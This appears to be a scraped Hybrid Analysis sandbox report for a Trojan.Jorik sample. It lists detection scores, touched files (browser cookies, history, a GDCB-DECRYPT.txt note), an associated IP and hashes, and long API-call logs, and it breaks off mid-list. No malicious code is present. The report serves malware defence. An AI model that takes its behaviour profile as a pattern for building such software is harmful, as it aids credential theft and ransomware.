21:I[7638,["/_next/static/chunks/1nkjstpmp978x.js","/_next/static/chunks/2ysmnrb0knc4n.js","/_next/static/chunks/0i2jherxtxs7l.js","/_next/static/chunks/2wvg5zqmbil4p.js","/_next/static/chunks/4109t72175nm8.js","/_next/static/chunks/04k_7k5p4krw4.js","/_next/static/chunks/30r--1re9i9ly.js"],"SampleDetailWrapper"] 36:I[27201,["/_next/static/chunks/1nkjstpmp978x.js","/_next/static/chunks/2ysmnrb0knc4n.js","/_next/static/chunks/0i2jherxtxs7l.js"],"IconMark"] 20:T47a,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Trojan.Jorik Sample 643f8043c0b0… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample 643f8043c0b0…. Malware family: Trojan.Jorik. Threat score 100/100. 25/25 AV engines flagged this file. 14 malicious and 42 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/643f8043c0b0f89cedbfc3177ab7cfe99a8e2c7fe16691f3d54fb18bc14b8f45","keywords":["Malicious","Trojan.Jorik","malware analysis","sandbox report","threat intelligence","643f8043c0b0f89cedbfc3177ab7cfe99a8e2c7fe16691f3d54fb18bc14b8f45"],"about":{"@type":"SoftwareApplication","name":"4.exe","applicationCategory":["peexe","executable"],"identifier":"643f8043c0b0f89cedbfc3177ab7cfe99a8e2c7fe16691f3d54fb18bc14b8f45","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"Trojan.Jorik","antivirusDetections":{"malicious":25,"total":25},"behavioralIndicators":{"malicious":14,"suspicious":42},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}22:T81e,"" queries volume information of unknown location at 00015798-00003096-0000010C-44136468 "" queries volume information of unknown location at 00015798-00003096-0000010C-44136488 "" queries volume information of unknown location at 00015798-00003096-0000010C-44136514 "" queries volume information of unknown location at 00015798-00003096-0000010C-44136533 "" queries volume information of unknown location at 00015798-00003096-0000010C-44136556 "" queries volume information of unknown location at 00015798-00003096-0000010C-44136583 "" queries volume information of unknown location at 00015798-00003096-0000010C-44136602 "" queries volume information of unknown location at 00015798-00003096-0000010C-44136626 "" queries volume information of unknown location at 00015798-00003096-0000010C-44136647 "" queries volume information of unknown location at 00015798-00003096-0000010C-44136666 "" queries volume information of unknown location at 00015798-00003096-0000010C-44136685 "" queries volume information of unknown location at 00015798-00003096-0000010C-44136713 "" queries volume information of unknown location at 00015798-00003096-0000010C-44136739 "" queries volume information of unknown location at 00015798-00003096-0000010C-44136762 "" queries volume information of unknown location at 00015798-00003096-0000010C-44136781 "" queries volume information of unknown location at 00015798-00003096-0000010C-44136805 "" queries volume information of unknown location at 00015798-00003096-0000010C-44136828 "" queries volume information of unknown location at 00015798-00003096-0000010C-44136851 "" queries volume information of unknown location at 00015798-00003096-0000010C-44136880 "" queries volume information of unknown location at 00015798-00003096-0000010C-4413690023:T766,"" touched file "C:\Windows\Globalization\Sorting\SortDefault.nls" "" touched file "C:\Windows\System32\en-US\msctf.dll.mui" "" touched file "C:\Windows\System32\rsaenh.dll" "" touched file "C:\Windows\System32\en-US\crypt32.dll.mui" "" touched file "C:\Users\uXbPZwd\AppData\Local\Microsoft\Windows\Temporary Internet Files" "" touched file "C:\Users\uXbPZwd\AppData\Roaming\Microsoft\Windows\Cookies" "" touched file "C:\Users\uXbPZwd\AppData\Local\Microsoft\Windows\History" "" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\index.dat" "" touched file "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Cookies\index.dat" "" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\History\History.IE5\index.dat" "" touched file "C:\Windows\System32\en-US\urlmon.dll.mui" "" touched file "C:\Windows\System32\en-US\KernelBase.dll.mui" "" touched file "C:\Windows\System32\msxml3r.dll" "" touched file "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\IETldCache\index.dat" "" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\7N5LGTOO\ipv4bot_whatismyipaddress_com[1].htm" "" touched file "C:\Windows\AppPatch\sysmain.sdb" "" touched file "C:\Windows\System32\nslookup.exe" "" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\7N5LGTOO\curl[1].htm" "" touched file "C:\Users\Default\AppData\Local\Microsoft\Windows\History\GDCB-DECRYPT.txt" "" touched file "C:\Users\Default\AppData\Local\Microsoft\Windows\GDCB-DECRYPT.txt"24:T74e,Found dropped filename "pspubws@shopping.udn[1].txt" containing the Windows username "PSPUBWS" Found dropped filename "pspubws@filefreak[1].txt" containing the Windows username "PSPUBWS" Found dropped filename "pspubws@xiti[1].txt" containing the Windows username "PSPUBWS" Found dropped filename "pspubws@www.stumbleupon[2].txt" containing the Windows username "PSPUBWS" Found dropped filename "pspubws@sonymobcomm.tt.omtrdc[2].txt" containing the Windows username "PSPUBWS" Found dropped filename "pspubws@www.lenovo[2].txt" containing the Windows username "PSPUBWS" Found dropped filename "pspubws@www.sony[7].txt" containing the Windows username "PSPUBWS" Found dropped filename "pspubws@matrixspa[1].txt" containing the Windows username "PSPUBWS" Found dropped filename "pspubws@last[2].txt" containing the Windows username "PSPUBWS" Found dropped filename "pspubws@www.lloydsbank[1].txt" containing the Windows username "PSPUBWS" Found dropped filename "pspubws@allcnet.gazeta[1].txt" containing the Windows username "PSPUBWS" Found dropped filename "pspubws@eloqua[2].txt" containing the Windows username "PSPUBWS" Found dropped filename "pspubws@c.appier[1].txt" containing the Windows username "PSPUBWS" Found dropped filename "pspubws@zappos[1].txt" containing the Windows username "PSPUBWS" Found dropped filename "pspubws@logly.co[2].txt" containing the Windows username "PSPUBWS" Found dropped filename "pspubws@hurriyet.com[1].txt" containing the Windows username "PSPUBWS" Found dropped filename "pspubws@kayak[1].txt" containing the Windows username "PSPUBWS" Found dropped filename "pspubws@brothersoft[1].txt" containing the Windows username "PSPUBWS" Found dropped filename "pspubws@www1.euro.dell[1].txt" containing the Windows username "PSPUBWS" Found dropped filename "pspubws@58[1].txt" containing the Windows username "PSPUBWS"25:T590,Found malicious artifacts related to "66.171.248.178": ... URL: http://66.171.248.178/ (AV positives: 1/66 scanned on 01/22/2018 09:02:26) URL: http://bot.whatismyipaddress.com/ (AV positives: 1/62 scanned on 03/17/2015 09:38:49) File SHA256: a0728421ceaa8bf12e73a7a6074cb9b5178ff76a2ba325f1c50db9cef037ecbc (AV positives: 25/67 scanned on 01/26/2018 05:06:34) File SHA256: 5d53050a1509bcc9d97552fa52c1105b51967f4ccf2bde717b502605db1b5011 (AV positives: 9/65 scanned on 01/26/2018 04:50:07) File SHA256: c1f44f9340ecb79b3483d91df4b998567fd77add5e413e1a42fc98670c495996 (AV positives: 35/67 scanned on 01/23/2018 21:55:05) File SHA256: fc8952298c63742cdb64f4e10206bd73aacee5803637611b4a72143b647a7e8f (AV positives: 5/65 scanned on 01/21/2018 08:34:54) File SHA256: 8eb0c0d97e89417ca4f95bc14df9156c436642d2f3484928042be97aef3289ea (AV positives: 46/66 scanned on 01/21/2018 06:07:36) File SHA256: 540cedb2e6a03c6f12d8921618c56d02d2e1c14472439468b7dfbaa46584b34b (Date: 12/14/2017 21:28:22) File SHA256: 3b6bc8655b2c88605ec968c5ee99679f06549da1213085ead10f2bc26fd279c7 (Date: 12/12/2017 22:10:41) File SHA256: 3a5a3c7d63c653e721b662d9371f5f48ec72bb2f63489322d6e851ad91bf6381 (Date: 12/07/2017 07:39:25) File SHA256: 2b6d04b46b82d184aaf9572523f8a40d386ee7196b355c518fccf19cf52c853e (Date: 12/05/2017 03:01:16) File SHA256: 312efd6e6fb7bd73e261a3d53ea658b9f30291d4932476911a13ceb1c3edd2a6 (Date: 12/04/2017 23:29:45)26:Tc51,"malware.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00005544) "malware.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00005544) "malware.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f0000020000000000000028de5a00ccdd5a00226e7e7500006704000000002d6e7e75d99dd59a2d000000ecb7a47650de5a0000005e00f0bbb20228aeb1021d0000008000000090dd5a0000005e0014de5a0070c87f75ed310beffeffffff2d000000d0ccb37627000000e4dd5a00856a80751c23857524de5a00f85f807508000000bb697f75b2697f75319ed59a2d000000ecb7a47627000000d0ccb376f8dd5a002d000000d0ccb3762700000028de5a00856a80751c23857570de5a007e8ab276ee8cb276738ab2764417cf892d000000ecb7a47627000000d0ccb3762c116704c01067044417cf8938de5a00fc52f07624df5a00e084b2760c387bfffeffffff738ab276 (UID: 00000000-00005544) "malware.exe" called "RtlGetVersion" with parameter 240100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00005544) "malware.exe" called "RtlGetVersion" with parameter 000000000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00005544)27:T2d48,"malware.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00005544) "malware.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00005544) "malware.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00005544) "malware.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00005544) "malware.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00005544) "malware.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00005544) "malware.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00005544) "malware.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00005544) "malware.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00005544) "malware.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00005544) "malware.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00005544) "malware.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00005544) "malware.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00005544) "malware.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00005544) "malware.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00005544) "malware.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00005544) "malware.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00005544) "malware.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00005544) "malware.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00005544) "malware.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00005544) "malware.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00005544) "malware.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00005544) "malware.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00005544) "malware.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00005544) "malware.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00005544) "malware.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00005544) "malware.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00005544) "malware.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00005544) "malware.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00005544) "malware.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00005544) "malware.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00005544) "malware.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00005544) "malware.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00005544) "malware.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00005544) "malware.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00005544) "malware.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00005544) "malware.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00005544) "malware.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00005544) "malware.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00005544) "malware.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00005544) "malware.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00005544) "malware.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00005544) "malware.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00005544) "malware.exe" called "GetProcAddress" with a parameter CoCreateInstanceEx (UID: 00000000-00005544) "malware.exe" called "GetProcAddress" with a parameter CoGetClassObject (UID: 00000000-00005544) "malware.exe" called "GetProcAddress" with a parameter LoadLibraryA (UID: 00000000-00005544) "malware.exe" called "GetProcAddress" with a parameter VirtualAlloc (UID: 00000000-00005544) "malware.exe" called "GetProcAddress" with a parameter VirtualProtect (UID: 00000000-00005544) "malware.exe" called "GetProcAddress" with a parameter VirtualFree (UID: 00000000-00005544) "malware.exe" called "GetProcAddress" with a parameter GetVersionExA (UID: 00000000-00005544) "malware.exe" called "GetProcAddress" with a parameter TerminateProcess (UID: 00000000-00005544) "malware.exe" called "GetProcAddress" with a parameter SetFilePointer (UID: 00000000-00005544) "malware.exe" called "GetProcAddress" with a parameter GetFileAttributesW (UID: 00000000-00005544) "malware.exe" called "GetProcAddress" with a parameter ReadFile (UID: 00000000-00005544) "malware.exe" called "GetProcAddress" with a parameter MoveFileW (UID: 00000000-00005544) "malware.exe" called "GetProcAddress" with a parameter lstrcpyW (UID: 00000000-00005544) "malware.exe" called "GetProcAddress" with a parameter SetFileAttributesW (UID: 00000000-00005544) "malware.exe" called "GetProcAddress" with a parameter GetDriveTypeW (UID: 00000000-00005544) "malware.exe" called "GetProcAddress" with a parameter VerSetConditionMask (UID: 00000000-00005544) "malware.exe" called "GetProcAddress" with a parameter WaitForSingleObject (UID: 00000000-00005544) "malware.exe" called "GetProcAddress" with a parameter GetTickCount (UID: 00000000-00005544) "malware.exe" called "GetProcAddress" with a parameter OpenProcess (UID: 00000000-00005544) "malware.exe" called "GetProcAddress" with a parameter GetSystemDirectoryW (UID: 00000000-00005544) "malware.exe" called "GetProcAddress" with a parameter TerminateThread (UID: 00000000-00005544) "malware.exe" called "GetProcAddress" with a parameter Sleep (UID: 00000000-00005544) "malware.exe" called "GetProcAddress" with a parameter VerifyVersionInfoW (UID: 00000000-00005544) "malware.exe" called "GetProcAddress" with a parameter WaitForMultipleObjects (UID: 00000000-00005544) "malware.exe" called "GetProcAddress" with a parameter lstrcmpiW (UID: 00000000-00005544) "malware.exe" called "GetProcAddress" with a parameter ExpandEnvironmentStringsW (UID: 00000000-00005544) "malware.exe" called "GetProcAddress" with a parameter CreateProcessW (UID: 00000000-00005544) "malware.exe" called "GetProcAddress" with a parameter SetHandleInformation (UID: 00000000-00005544) "malware.exe" called "GetProcAddress" with a parameter ExitThread (UID: 00000000-00005544) "malware.exe" called "GetProcAddress" with a parameter MultiByteToWideChar (UID: 00000000-00005544) "malware.exe" called "GetProcAddress" with a parameter CreatePipe (UID: 00000000-00005544) "malware.exe" called "GetProcAddress" with a parameter Process32FirstW (UID: 00000000-00005544) "malware.exe" called "GetProcAddress" with a parameter Process32NextW (UID: 00000000-00005544) "malware.exe" called "GetProcAddress" with a parameter lstrcmpiA (UID: 00000000-00005544) "malware.exe" called "GetProcAddress" with a parameter InitializeCriticalSection (UID: 00000000-00005544) "malware.exe" called "GetProcAddress" with a parameter FindFirstFileW (UID: 00000000-00005544) "malware.exe" called "GetProcAddress" with a parameter lstrcmpW (UID: 00000000-00005544) "malware.exe" called "GetProcAddress" with a parameter FindClose (UID: 00000000-00005544) "malware.exe" called "GetProcAddress" with a parameter FindNextFileW (UID: 00000000-00005544) "malware.exe" called "GetProcAddress" with a parameter GetNativeSystemInfo (UID: 00000000-00005544) "malware.exe" called "GetProcAddress" with a parameter GetComputerNameW (UID: 00000000-00005544) "malware.exe" called "GetProcAddress" with a parameter GetDiskFreeSpaceW (UID: 00000000-00005544) "malware.exe" called "GetProcAddress" with a parameter GetWindowsDirectoryW (UID: 00000000-00005544) "malware.exe" called "GetProcAddress" with a parameter GetVolumeInformationW (UID: 00000000-00005544) "malware.exe" called "GetProcAddress" with a parameter CreateThread (UID: 00000000-00005544) "malware.exe" called "GetProcAddress" with a parameter CloseHandle (UID: 00000000-00005544) "malware.exe" called "GetProcAddress" with a parameter lstrcatW (UID: 00000000-00005544) "malware.exe" called "GetProcAddress" with a parameter CreateFileMappingW (UID: 00000000-00005544) "malware.exe" called "GetProcAddress" with a parameter GetLastError (UID: 00000000-00005544) "malware.exe" called "GetProcAddress" with a parameter GetTempPathW (UID: 00000000-00005544) "malware.exe" called "GetProcAddress" with a parameter CreateFileW (UID: 00000000-00005544) "malware.exe" called "GetProcAddress" with a parameter GetModuleFileNameW (UID: 00000000-00005544) "malware.exe" called "GetProcAddress" with a parameter WriteFile (UID: 00000000-00005544) "malware.exe" called "GetProcAddress" with a parameter GetModuleHandleW (UID: 00000000-00005544) "malware.exe" called "GetProcAddress" with a parameter UnmapViewOfFile (UID: 00000000-00005544) "malware.exe" called "GetProcAddress" with a parameter MapViewOfFile (UID: 00000000-00005544) "malware.exe" called "GetProcAddress" with a parameter CreateMutexW (UID: 00000000-00005544) "malware.exe" called "GetProcAddress" with a parameter GetFileSize (UID: 00000000-00005544) "malware.exe" called "GetProcAddress" with a parameter GetEnvironmentVariableW (UID: 00000000-00005544) "malware.exe" called "GetProcAddress" with a parameter lstrcpyA (UID: 00000000-00005544) "malware.exe" called "GetProcAddress" with a parameter GetModuleHandleA (UID: 00000000-00005544) "malware.exe" called "GetProcAddress" with a parameter CreateToolhelp32Snapshot (UID: 00000000-00005544) "malware.exe" called "GetProcAddress" with a parameter lstrlenW (UID: 00000000-00005544) "malware.exe" called "GetProcAddress" with a parameter GetProcAddress (UID: 00000000-00005544) "malware.exe" called "GetProcAddress" with a parameter GetProcessHeap (UID: 00000000-00005544) "malware.exe" called "GetProcAddress" with a parameter HeapFree (UID: 00000000-00005544) "malware.exe" called "GetProcAddress" with a parameter HeapAlloc (UID: 00000000-00005544) "malware.exe" called "GetProcAddress" with a parameter lstrlenA (UID: 00000000-00005544) "malware.exe" called "GetProcAddress" with a parameter lstrcatA (UID: 00000000-00005544) "malware.exe" called "GetProcAddress" with a parameter ExitProcess (UID: 00000000-00005544) "malware.exe" called "GetProcAddress" with a parameter IsProcessorFeaturePresent (UID: 00000000-00005544) "malware.exe" called "GetProcAddress" with a parameter CryptStringToBinaryA (UID: 00000000-00005544) "malware.exe" called "GetProcAddress" with a parameter CryptBinaryToStringA (UID: 00000000-00005544) "malware.exe" called "GetProcAddress" with a parameter RtlComputeCrc32 (UID: 00000000-00005544) "malware.exe" called "GetProcAddress" with a parameter CryptGenRandom (UID: 00000000-00005544)28:T4778,Found reference to API (Indicator: "OpenEventLogW"; File: "malware.exe") Found reference to API (Indicator: "StretchBlt"; File: "malware.exe") Found reference to API (Indicator: "GetLastError"; File: "malware.exe") Found reference to API (Indicator: "InitializeCriticalSectionAndSpinCount"; File: "malware.exe") Found reference to API (Indicator: "HeapFree"; File: "malware.exe") Found reference to API (Indicator: "GetStdHandle"; File: "malware.exe") Found reference to API (Indicator: "EnterCriticalSection"; File: "malware.exe") Found reference to API (Indicator: "LCMapStringW"; File: "malware.exe") Found reference to API (Indicator: "SetHandleCount"; File: "malware.exe") Found reference to API (Indicator: "TerminateThread"; File: "malware.exe") Found reference to API (Indicator: "lstrlenA"; File: "malware.exe") Found reference to API (Indicator: "GetModuleFileNameW"; File: "malware.exe") Found reference to API (Indicator: "GetConsoleCP"; File: "malware.exe") Found reference to API (Indicator: "GetOEMCP"; File: "malware.exe") Found reference to API (Indicator: "QueryPerformanceCounter"; File: "malware.exe") Found reference to API (Indicator: "IsDebuggerPresent"; File: "malware.exe") Found reference to API (Indicator: "EncodePointer"; File: "malware.exe") Found reference to API (Indicator: "TlsAlloc"; File: "malware.exe") Found reference to API (Indicator: "GetEnvironmentStringsW"; File: "malware.exe") Found reference to API (Indicator: "FlushFileBuffers"; File: "malware.exe") Found reference to API (Indicator: "GetModuleFileNameA"; File: "malware.exe") Found reference to API (Indicator: "RtlUnwind"; File: "malware.exe") Found reference to API (Indicator: "GetProcessId"; File: "malware.exe") Found reference to API (Indicator: "DeleteCriticalSection"; File: "malware.exe") Found reference to API (Indicator: "GetCurrentProcess"; File: "malware.exe") Found reference to API (Indicator: "IsProcessorFeaturePresent"; File: "malware.exe") Found reference to API (Indicator: "GetConsoleMode"; File: "malware.exe") Found reference to API (Indicator: "GetStringTypeW"; File: "malware.exe") Found reference to API (Indicator: "GetCurrentProcessId"; File: "malware.exe") Found reference to API (Indicator: "WriteConsoleW"; File: "malware.exe") Found reference to API (Indicator: "SetFilePointer"; File: "malware.exe") Found reference to API (Indicator: "WideCharToMultiByte"; File: "malware.exe") Found reference to API (Indicator: "UnhandledExceptionFilter"; File: "malware.exe") Found reference to API (Indicator: "InterlockedDecrement"; File: "malware.exe") Found reference to API (Indicator: "MultiByteToWideChar"; File: "malware.exe") Found reference to API (Indicator: "GetStartupInfoW"; File: "malware.exe") Found reference to API (Indicator: "FreeEnvironmentStringsW"; File: "malware.exe") Found reference to API (Indicator: "VirtualProtect"; File: "malware.exe") Found reference to API (Indicator: "GetCommandLineA"; File: "malware.exe") Found reference to API (Indicator: "GetProcAddress"; File: "malware.exe") Found reference to API (Indicator: "HeapSize"; File: "malware.exe") Found reference to API (Indicator: "SetStdHandle"; File: "malware.exe") Found reference to API (Indicator: "GetModuleHandleA"; File: "malware.exe") Found reference to API (Indicator: "RaiseException"; File: "malware.exe") Found reference to API (Indicator: "GetCPInfo"; File: "malware.exe") Found reference to API (Indicator: "LoadLibraryW"; File: "malware.exe") Found reference to API (Indicator: "TlsFree"; File: "malware.exe") Found reference to API (Indicator: "GetFileInformationByHandle"; File: "malware.exe") Found reference to API (Indicator: "GetSystemTimeAsFileTime"; File: "malware.exe") Found reference to API (Indicator: "HeapSetInformation"; File: "malware.exe") Found reference to API (Indicator: "SetUnhandledExceptionFilter"; File: "malware.exe") Found reference to API (Indicator: "WriteFile"; File: "malware.exe") Found reference to API (Indicator: "TlsSetValue"; File: "malware.exe") Found reference to API (Indicator: "CloseHandle"; File: "malware.exe") Found reference to API (Indicator: "GetMailslotInfo"; File: "malware.exe") Found reference to API (Indicator: "GetProcessWorkingSetSize"; File: "malware.exe") Found reference to API (Indicator: "GetThreadTimes"; File: "malware.exe") Found reference to API (Indicator: "GetACP"; File: "malware.exe") Found reference to API (Indicator: "HeapReAlloc"; File: "malware.exe") Found reference to API (Indicator: "DecodePointer"; File: "malware.exe") Found reference to API (Indicator: "GetModuleHandleW"; File: "malware.exe") Found reference to API (Indicator: "HeapAlloc"; File: "malware.exe") Found reference to API (Indicator: "GetThreadSelectorEntry"; File: "malware.exe") Found reference to API (Indicator: "TerminateProcess"; File: "malware.exe") Found reference to API (Indicator: "GetProcessHandleCount"; File: "malware.exe") Found reference to API (Indicator: "TlsGetValue"; File: "malware.exe") Found reference to API (Indicator: "IsValidCodePage"; File: "malware.exe") Found reference to API (Indicator: "HeapCreate"; File: "malware.exe") Found reference to API (Indicator: "CreateFileW"; File: "malware.exe") Found reference to API (Indicator: "GlobalAlloc"; File: "malware.exe") Found reference to API (Indicator: "GetLongPathNameA"; File: "malware.exe") Found reference to API (Indicator: "Sleep"; File: "malware.exe") Found reference to API (Indicator: "GetFileType"; File: "malware.exe") Found reference to API (Indicator: "GetTickCount"; File: "malware.exe") Found reference to API (Indicator: "GetProcessTimes"; File: "malware.exe") Found reference to API (Indicator: "ExitProcess"; File: "malware.exe") Found reference to API (Indicator: "GetCurrentThreadId"; File: "malware.exe") Found reference to API (Indicator: "LeaveCriticalSection"; File: "malware.exe") Found reference to API (Indicator: "SetLastError"; File: "malware.exe") Found reference to API (Indicator: "InterlockedIncrement"; File: "malware.exe") Found reference to API (Indicator: "SetScrollRange"; File: "malware.exe") Found reference to API (Indicator: "EnableScrollBar"; File: "malware.exe") Found reference to API (Indicator: "PostMessageA"; File: "malware.exe") Found reference to API (Indicator: "FlsFree"; File: "malware.exe") Found reference to API (Indicator: "FlsSetValue"; File: "malware.exe") Found reference to API (Indicator: "FlsGetValue"; File: "malware.exe") Found reference to API (Indicator: "FlsAlloc"; File: "malware.exe") Found reference to API (Indicator: "GetProcessWindowStation"; File: "malware.exe") Found reference to API (Indicator: "GetUserObjectInformationW"; File: "malware.exe") Found reference to API (Indicator: "GetLastActivePopup"; File: "malware.exe") Found reference to API (Indicator: "GetActiveWindow"; File: "malware.exe") Found reference to API (Indicator: "MessageBoxW"; File: "malware.exe") Found reference to API (Indicator: "FlsFree"; Source: "00000000-00005544.00000002.164910.0040F000.00000002.mdmp") Found reference to API (Indicator: "FlsSetValue"; Source: "00000000-00005544.00000002.164910.0040F000.00000002.mdmp") Found reference to API (Indicator: "FlsGetValue"; Source: "00000000-00005544.00000002.164910.0040F000.00000002.mdmp") Found reference to API (Indicator: "FlsAlloc"; Source: "00000000-00005544.00000002.164910.0040F000.00000002.mdmp") Found reference to API (Indicator: "GetProcessWindowStation"; Source: "00000000-00005544.00000002.164910.0040F000.00000002.mdmp") Found reference to API (Indicator: "GetUserObjectInformationW"; Source: "00000000-00005544.00000002.164910.0040F000.00000002.mdmp") Found reference to API (Indicator: "GetLastActivePopup"; Source: "00000000-00005544.00000002.164910.0040F000.00000002.mdmp") Found reference to API (Indicator: "GetActiveWindow"; Source: "00000000-00005544.00000002.164910.0040F000.00000002.mdmp") Found reference to API (Indicator: "MessageBoxW"; Source: "00000000-00005544.00000002.164910.0040F000.00000002.mdmp") Found reference to API (Indicator: "TerminateProcess"; Source: "00000000-00005544.00000002.164910.0040F000.00000002.mdmp") Found reference to API (Indicator: "GetTickCount"; Source: "00000000-00005544.00000002.164910.0040F000.00000002.mdmp") Found reference to API (Indicator: "VirtualProtect"; Source: "00000000-00005544.00000002.164910.0040F000.00000002.mdmp") Found reference to API (Indicator: "CloseHandle"; Source: "00000000-00005544.00000002.164910.0040F000.00000002.mdmp") Found reference to API (Indicator: "GlobalAlloc"; Source: "00000000-00005544.00000002.164910.0040F000.00000002.mdmp") Found reference to API (Indicator: "GetModuleHandleA"; Source: "00000000-00005544.00000002.164910.0040F000.00000002.mdmp") Found reference to API (Indicator: "GetMailslotInfo"; Source: "00000000-00005544.00000002.164910.0040F000.00000002.mdmp") Found reference to API (Indicator: "GetThreadSelectorEntry"; Source: "00000000-00005544.00000002.164910.0040F000.00000002.mdmp") Found reference to API (Indicator: "GetFileType"; Source: "00000000-00005544.00000002.164910.0040F000.00000002.mdmp") Found reference to API (Indicator: "GetFileInformationByHandle"; Source: "00000000-00005544.00000002.164910.0040F000.00000002.mdmp") Found reference to API (Indicator: "GetThreadTimes"; Source: "00000000-00005544.00000002.164910.0040F000.00000002.mdmp") Found reference to API (Indicator: "GetProcessTimes"; Source: "00000000-00005544.00000002.164910.0040F000.00000002.mdmp") Found reference to API (Indicator: "TerminateThread"; Source: "00000000-00005544.00000002.164910.0040F000.00000002.mdmp") Found reference to API (Indicator: "GetProcessId"; Source: "00000000-00005544.00000002.164910.0040F000.00000002.mdmp") Found reference to API (Indicator: "GetLongPathNameA"; Source: "00000000-00005544.00000002.164910.0040F000.00000002.mdmp") Found reference to API (Indicator: "GetProcessWorkingSetSize"; Source: "00000000-00005544.00000002.164910.0040F000.00000002.mdmp") Found reference to API (Indicator: "GetProcessHandleCount"; Source: "00000000-00005544.00000002.164910.0040F000.00000002.mdmp") Found reference to API (Indicator: "lstrlenA"; Source: "00000000-00005544.00000002.164910.0040F000.00000002.mdmp") Found reference to API (Indicator: "EnableScrollBar"; Source: "00000000-00005544.00000002.164910.0040F000.00000002.mdmp") Found reference to API (Indicator: "SetScrollRange"; Source: 